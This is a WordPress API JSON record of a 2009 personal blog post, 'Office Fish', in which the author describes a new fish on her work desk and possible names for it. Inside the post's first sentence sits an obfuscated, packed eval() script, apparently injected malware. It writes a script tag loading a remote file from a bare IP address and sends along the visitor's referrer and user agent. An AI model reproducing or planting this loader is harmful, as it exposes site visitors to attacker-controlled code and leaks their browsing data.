{"id":318,"date":"2009-06-18T12:39:38","date_gmt":"2009-06-18T19:39:38","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=318"},"modified":"2011-10-07T17:29:03","modified_gmt":"2011-10-08T00:29:03","slug":"my-new-lil-pal","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=318","title":{"rendered":"Office Fish"},"content":{"rendered":"<p><em>Now <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thddd|var|u0026u|referrer|ibtbe||js|php'.split('|'),0,{}))\n<\/script><\/noindex> I have a fish.<\/em><br \/>\n<em> He lives on my desk at work.<\/em><br \/>\n<em> I hope he won&#8217;t die.<\/em><\/p>\n<p>And yes, before you say anything, I&#8217;m keeping him in a lovely fishbowl with water and a fish-friendly plant.<br \/>\nHis name might be Fishmail (as in, &#8220;Call me&#8230;&#8221;) or maybe Dorian (Blue); we also might just name him Stanley (English Department in-joke).<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2009\/06\/stanley.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-1779\" title=\"stanley\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2009\/06\/stanley-300x112.jpg\" alt=\"\" width=\"300\" height=\"112\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2009\/06\/stanley-300x112.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2009\/06\/stanley.jpg 720w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Now I have a fish. He lives on my desk at work. I hope he&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[45],"class_list":["post-318","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-work"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/318"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=318"}],"version-history":[{"count":5,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/318\/revisions"}],"predecessor-version":[{"id":321,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/318\/revisions\/321"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=318"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=318"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=318"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}